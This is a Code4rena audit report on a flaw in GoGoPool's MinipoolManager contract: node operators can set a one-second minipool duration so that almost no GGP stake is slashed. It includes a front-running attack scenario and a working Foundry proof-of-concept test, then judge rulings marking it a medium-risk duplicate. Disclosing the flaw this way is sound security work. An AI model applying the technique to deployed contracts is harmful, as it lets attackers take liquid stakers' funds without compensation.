Slashing mechanism can be manipulated

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L257

Vulnerability details

Impact

Node validators can manipulate the slashing mechanism to slash only 0.000003170979198376 AVAX (0.00003691 USD) from GGP stake.

A hacker can create multiple nodes and use all the ggAVAX liquidity without actually finishing the validation period.
Liquid stakers will not be compensated for the loss.

Hacker will pay less then 1 dollar of GGP.

Proof of Concept

When minipools are created/updated through createMinipool there is no check that the duration specified by the node operator is less then the minimum required validation period (14 days).
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L196

	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
---------
		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".duration")), duration);
---------
	}

When no rewards are received after the validation period, slash is called to slash staked GGP for compensation of the ggAVAX liquid stakers.
slash:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670

	function slash(int256 index) private {
----------
		uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration")));
		uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt")));
		uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt);
		uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt);
----------
		staking.slashGGP(owner, slashGGPAmt);
	}

As can be seen above, the duration set by the node operator is used together with the avaxLiquidStakerAmt (1000 AVAX) to calculate the expected amount of rewards in order to slash proportionately.

The rewards amount is calculated in getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt):
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L557

	function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) {
		ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
		uint256 rate = dao.getExpectedAVAXRewardsRate();
		return (avaxAmt.mulWadDown(rate) * duration) / 365 days;
	}

The rate is set to 0.1 AVAX in the initialization of the dao: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ProtocolDAO.sol#L51

Therefore, if the node operator sets 1 as duration the function getExpectedAVAXRewardsAmt will return 3170979198376 WEI of AVAX.

Consider the following scenario:

1. NodeOp creates legitimate minipool (Node-1111) and 5 days pass
2. NodeOp creates fake minipool (Node-2222)
3. rialto calls claimAndInitiateStaking to launch the minipool (Node-2222)
4. NodeOp front-runs the call to claimAndInitiateStaking and:
   4.1 NodeOp calls cancelMinipool - This is possible without waiting 5 days because of step Agreements & Disclosures #1 (See other submitted bug Anti griefing mechanism can be bypassed #211: "Anti griefing mechanism can be bypassed"). It is also possible to execute this step without the bug by waiting 5 days.
   4.2 NodeOp calls createMinipool with duration set to 1
5. claimAndInitiateStaking gets executed and staked.
6. recordStakingEnd will be called which will call the slash function as no rewards are set.
7. Only 0.000003170979198376 AVAX of rewards would be slashed

Foundry POC

The POC will demonstrate the above scenario

Add the following test to MinipoolManager.t.sol
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175

	function testManipulateSlashing() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 100 ether;

		// Create a legitimate node
		dealGGP(nodeOp, ggpStakeAmt);
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp0 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		skip(5);

		// Fund the ggAVAX
		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		// Create a fake minipool
		dealGGP(nodeOp, ggpStakeAmt);
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		// Front run claimAndInitiateStaking and call `cancelMinipool` and `createMinipool` with 
		minipoolMgr.cancelMinipool(mp1.nodeID);
		minipoolMgr.createMinipool{value: depositAmt}(mp1.nodeID, 1, 0.02 ether, avaxAssignmentRequest);
		vm.stopPrank();

		// claimAndInitiateStaking is executed and staking is recorded 
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
		minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid"), block.timestamp);

		// Staking has ended with no rewards, slashing happens here
		skip(duration);
		minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether);
		vm.stopPrank();

		// Validate that only 0.000003170979198376 AVAX is slashed
		assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(1, avaxAssignmentRequest), 0.000003170979198376 ether);
		assertEq(staking.getGGPStake(nodeOp), (ggpStakeAmt*2) - 0.000003170979198376 ether);
	}

To run the POC, execute:

forge test -m testManipulateSlashing -v

Expected output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testManipulateSlashing() (gas: 1981662)
Test result: ok. 1 passed; 0 failed; finished in 7.08ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

In createMinipool set a minimum requirement of duration to 14 days.
Additionally, if a NodeID already exists in createMinipool, make sure the duration is not changed. If a node operator wishes to change the duration of his NodeID, he should generate a new NodeID.

[c4-judge]

GalloDaSballo marked the issue as duplicate of #694

[c4-judge]

GalloDaSballo marked the issue as not a duplicate

[c4-judge]

GalloDaSballo marked the issue as duplicate of #492

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo marked the issue as satisfactory